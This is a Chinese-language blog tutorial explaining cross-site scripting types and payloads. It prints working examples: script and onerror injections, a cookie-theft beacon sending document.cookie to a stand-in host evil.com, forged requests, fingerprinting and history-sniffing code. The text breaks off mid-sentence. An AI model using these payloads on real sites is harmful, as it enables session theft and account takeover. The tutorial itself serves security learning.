跨站脚本攻击

前言

跨站脚本攻击是经常发生的事情,作为一名业余的开发者,我觉得有必要make note一下。

XSS简介

跨站点脚本攻击(Cross Site Script),为了和层叠样式表区别,所以称之为XSS。

XSS攻击的本质是向HTML插入了恶意的脚本,从而曲解HTML的意思,控制攻击浏览器。XSS长期以来都被列为客户端Web安全的头号大敌。

举个例子:

1
2
3
4
<?php
$input = $_GET['param'];
echo "<div>".$input."</div>";
?>

在正常情况下用户使用GET的方法提交的数据会展示到页面之中,比如:

1
/xss.php?param=This%20is%20a%20test

就会在网页中看见This is a test的结果,但是如果我们构造了一串JS代码的话:

1
/xss.php?param=<script>alert(/xss/)</script>

这里alert(/xss/)就会在当前页面执行了。

这样就是xss的第一种类型,反射性XSS。

反射性XSS

反射性XSS只是简单的把用户输入的数据反射给浏览器。也就是说,攻击者可以诱使用户点击一个恶意链接来攻击用户,所以也被称之为非持久性XSS。

存储性XSS

存储性XSS会把用户输入的数据存储在服务器端。

这种比较常见的场景就是攻击者写下一篇包含恶意Javascript代码的博客文章,此时所有访问该博客文章的用户都会在他们的浏览器中执行这段恶意的Javascript代码。这种方法就被成为存储性XSS

基于节的XSS

实际上,这种类型的XSS效果上来说也是反射型XSS,但是其成因比较特别,通过修改页面的DOM节点形成的XSS,称之为基于节的XSS(DOM Based XSS)。

下面的代码:

1
2
3
4
5
6
7
8
9
<script>
function test(){
var str = document.getElementById('text').value;
document.getElementById("t").innerHTML = "<a href='"+str+"'>YourLink</a>"
}
</script>
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" />

点击write按钮之后,会在当前页面插入一个超链接,其地址为文本框内容:

QQ截图20160517124300

在这里write按钮的onclick事件调用了test()函数。而在test()函数中,修改了页面的DOM节点,通过innerHTML把一段用户数据当做HTML写入到页面中,造成了DOM based XSS。

构造如下的数据:

1
' onclick=alert(/xss/) //

输入之后。页面代码就变成了:

1
<a href="" onclick="alert(/xss/)" '="">YourLink</a>

首先用一个单引号' 闭合掉href的第一个单引号,然后插入一个onclick事件,最终再用注释符“//”注释掉第二个单引号。

点这个新生成的链接,XSS就会被执行。

XSS DOM Based

实际上,还可以选择直接闭合标签,并且插入一个新的HTML标签。尝试以下输入:

1
'><img src=# onerror=alert(/xss2/) /><'

页面就变成了:

1
<a href=""><img src="#" onerror="alert(/xss2/)">YourLink</a>

脚本就被执行了:

XSS2

XSS Payload初探

XSS攻击成功之后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这种用以完成各种功能的恶意脚本称之为XSS Payload。

XSS Payload实际上就是javascript脚本,所以任何javascript能够实现的功能,XSS Payload都能够做到。

最常见的一个XSS Payload就是,通过读取浏览器的Cookie对象,从而发起Cookie劫持。

Cookie中一般加密保存了当前用户的登陆凭证。如果丢失,那么攻击者就能过不通过密码,直接登进用户的账户。

那么我们可以演示一下。首先龚记者可以加载一个远程脚本:

1
http://www.a.com/test.htm?abc="><script src=http://www.evil.com/evil.js></script>

在evil.js之中,可以使用如下代码窃取Cookie:

1
2
3
var img = document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

这段代码向页面中插入了一个不可见的图片,同时把document.cookie对象作为参数发送到远程服务器。

同时需要指出的是,这个网站可能并不一定要存在,这个请求实质上会在远程服务器的Web日志中留下记录的。

这样就是一个最简单的窃取Cookie和XSS Payload。

在Web之中,Cookie一般是用户登录的凭证,浏览器发起的所有请求都会自动带上cookie,如果cookie没有绑定客户端信息,当攻击者窃取cookie后,就可以免密码登陆进用户的账户。

Cookie的HttpOnly标示可以防止Cookie劫持。

强大的XSS Payload

cookie劫持并不是都能够生效的。有的网站可能会在Set-Cookie时给出关键的Cookie载入HttpOnly标识;有的网站可能会把Cookie和客户端IP绑定,从而使得XSS窃取Cookie变得没有意义。

尽管如此,XSS攻击成功之后,龚记者仍能够有许多方式控制用户的浏览器。

构造GET和POST请求

一个网站的应用,只需要接受HTTP协议中的GET或者POST请求就能完成所有的操作,这样对于攻击者来说,仅通过Javascript就能过浏览器发起这两种请求。

比如我的网站,只要用户访问特定的链接就能够完成指定的应用,假设我们设定某个网站的/delete/可以使得当前用户禁用自己的账户。这样对于攻击者来说,只需要让用户访问下面这段Javascript代码就能过使得用户执行XSS Payload来禁用自己的账户。

1
2
3
var img = document.createElement("img");
img.src="http://XXXXXXX.XXX/delete/";
document.body.appendChild(img);

如果网站应用接受的是POST请求呢?

要模拟这个过程第一种方法就是构造一个form表单,然后自动提交这个表单。

1
2
3
4
5
6
7
8
9
10
11
var form = document.createElement("form");
form.action="";
form.method="post";
document.body.appendChild(form);
var input1 = document.createElement("input");
input1.name="ck";
input1.value="JiUK";
form.appendChild(input1);
form.submit();

如果表单的数据很多的话,使用构造DOM的方法,代码会变得很冗长。所以可以直接写HTML代码:

1
2
3
4
5
6
var dd = document.createElement("div");
document.body.appendChild(dd);
dd.innerHTML = '<form action="" method="post" id="xssform">'+
'<input type="hidden" value="JiUY" name="ck">'+
'</form>'
document.getElementById("xssform").submit();

这样就能自动提交表单了。

另外使用XMLHttpRequest发送一个POST请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var url = "http://www.douban.com";
var postStr = "ck=JiUY&mb_text=test1234";
var ajax = null;
if (window.XMLHttpRequest){
ajax = new XMLHttpRequest();
}
else if(window.ActiveXObject){
ajax = new ActiveXObject("Microsoft.XMLHTTP");
}
else{
}
ajax.open("POST",url,true);
ajax.setRequestHeader("Content-Type","application/x-www-form-urlencode");
ajax.send(postStr);
ajax.onreadystatechange = function () {
if(ajax.readyState == 4 && ajax.status == 200){
alert("DONE");
}
}

这样也能提交成功。

通过这个例子可以知道,使用Javascript模拟浏览器发包并不是很困难的事情。

所以XSS攻击之后,攻击者出了可以实施Cookie劫持以外,还能模拟GET,POST请求操作用户的浏览器,这在某些隔离环境之中非常有效。

XSS钓鱼

XSS并非万能,其攻击过程都是在浏览器中通过Javascript脚本自动进行的,缺乏和用户交互的过程。

比如党我们需要修改用户密码的过程中,在提交新密码之前都需要用户输入Old Password,而这个Old Password往往是用户所不知道的。

对于验证码来说,XSS Payload能够通过读取页面内容,将验证码图片的URL发送到远程服务器或者甚至使用OCR工具就能够自动识别验证码。

那么如果攻击者需要获得用户的密码,最简单的方法就是使用Javascript在当前页面画出一个伪造的登陆框,当用户在登陆框中输入用户名和密码后,其密码就能过被发送到攻击者的服务器上。

识别用户的浏览器

很多的时候,攻击者为了获得更大的利益,往往需要准确收集用户的个人信息,如果知道用户是用的浏览器,操作系统,攻击者就可以实施一次非常精准的浏览器内存攻击,最终给用户电脑植入一个木马。

最简单的识别方法莫过于读取浏览器的User-Agent对象:

1
2
navigator.userAgent
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"

这个对象就能过告诉我们很多客户端的信息:

OS版本:linux X86_64

浏览器版本:Chrome 50.0.2661.102

但是熟悉Python爬虫的人知道,浏览器的User-Agent是可以伪造的,所以通过Javascript取出来的对象,信息不一定准确。

但是对于攻击者来说,还可以通过别的方法。由于浏览器之间的实现存在差异,不同的浏览器会各自实现一些独特的功能,而且不同版本的浏览器之间也会有细微的差别,所以可以根据分辨这些浏览器的差异,获得浏览器的版本,而且几乎不会被误报。

使用JQuery可以如下:

1
2
3
4
5
6
7
8
9
10
11
12
<script type="text/javascript">
$(document).ready(function(){
var brow=$.browser;
var bInfo="";
if(brow.msie) {bInfo="Microsoft Internet Explorer "+brow.version;}
if(brow.mozilla) {bInfo="Mozilla Firefox "+brow.version;}
if(brow.safari) {bInfo="Apple Safari "+brow.version;}
if(brow.opera) {bInfo="Opera "+brow.version;}
alert(bInfo);
$("#browser").html(bInfo);
})
</script>

识别用户安装的软件

在IE中,可以通过判定ActiveX控件的classid是否存在来推测用户是否安装了该软件,这种方法很早就被用于挂马攻击,攻击者通过判定用户安装的软件,选择对应的浏览器漏洞,最终植入木马:

1
2
3
4
5
6
try {
var obj = new ActiveXObject('XunLeiBHO.ThunderIEHelper');
}
catch(e){
// Xunlei BHO does not exist
}

这段代码就能过检测迅雷的一个控件(“XunLeiBHO.ThunderIEHelper”)是否存在。如果用户安装了迅雷,那么也会安装此控件,这样就能够判定用户安装迅雷的可能性,通过收集常见软件的classid,就可以扫描出用户电脑中安装的软件列表,甚至包括软件的版本。

同时一些第三方软件可能也会泄露一些信息,比如Flash的一个system.capabilities对象就能够查询客户端的一些硬件信息。

同事Firefox也可以查询一些插件来进行XSS,直接查询navigator.plugins对象就能过找到所有的插件了。

而对于Firefox的扩展而言,可以通过检测扩展的图片来判定某个特殊的扩展是否存在。在Firefox之中有一个特殊的协议chrome://,Firefox的扩展图标可以通过这个协议来被访问到,比如Flash Got的扩展图标可以这样访问:

1
chrome://flashgot/skin/icon32.png

所以在扫描Firefox扩展的时候只需要在Javascript中加载这张图片就能判定扩展存在与否了。

CSS History Hack

我们还可以通过XSS Payload来发现一个用户曾经访问的网站。

利用style的visited属性,当用户曾经访问一个链接,那么这个链接就会变得与众不同。这样就能够通过显示各种不同的网站来通过其CSS属性来判定用户是否访问过这个网站了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
var websites = [...要检测的访问过的网址列表,可能有几千个...];
//遍历每个URL
for (var i = 0; i < websites.length: i++) {
var link = document.createElement("a");
link.id = "id" + i;
link.href = websites[i];
link.innerHTML = websites[i];
document.write('<style>');
document.write('#id' + i + ":visited {color:#FF0000;}");
document.write('</style>');
document.body.appendChild(link);
var color = document.defaultView.getComputedStyle(link, null).getPropertyValue("color");
document.body.removeChild(link);
if (color == "rgb(255,0,0)") { //visited
var item = document.createElement('li');
item.appendChild(link);
document.getElementById('visited').appendChild(item);
} else { //Not visited
var item = document.createElement('li');
item.appendChild(link);
document.getElementById('notvisited').appendChild(item);
}
}

获取用户真实的IP地址

通过XSS Payload还能获取一些客户端的IP地址。

很多时候,用户电脑使用了代理服务器(比如VPN),或者在局域网中隐藏在NAT之后,网站看到的客户端的地址往往都是内网的出口IP地址,而并非用户电脑真实的本地地址。

Javascript并没有获取本地IP地址的能力,XSS就需要借助第三方软件来完成,例如,客户端安装了Java环境(JRE),那么就能过通过调用Java Applet的接口来获取客户端的本地IP地址。

在XSS攻击框架Attack API之中,就有一个获取本地IP地址的API:

1
2
3
4
5
6
7
8
9
AttackAPI.dom.getInternalIP = function() {
try {
var sock = new java.net.Socket();
sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port) ? 80 : document.location.port));
return sock.getLocalAddress().getHostAddress();
} catch(e) {}
return '127.0.0.1';
};

Metasploit引擎曾经展示了一个强大的测试页面,结合了Java Applet、Flash、iTunes、Office Word、QuickTime等第三方软件抓取用户的本地信息,这里是传送门

XSS 攻击平台

Attack API

Attack API是安全研究者pdp所主导的一个项目,其总结了很多能够直接使用XSS Payload,归纳为API的方式,比如上面提到的获取客户端本地信息的API。

BeEF

BeEF有一个控制后台,攻击者可以在后台控制前端的一切。

每个被攻击的用户都会出现再后台,后台控制者可以通过控制这些浏览器的行为,并且可以通过向这些用户发送命令。

XSS-Proxy

是一个轻量级的攻击平台,通过嵌套iframe的方式可以远程控制被XSS攻击的浏览器。

XSS 蠕虫

利用上面的方法,就可以使用存储性来起到传播XSS代码,从而传播蠕虫了。

XSS构造技巧

利用字符编码

百度搜藏曾经有这样一个XSS漏洞,百度在一个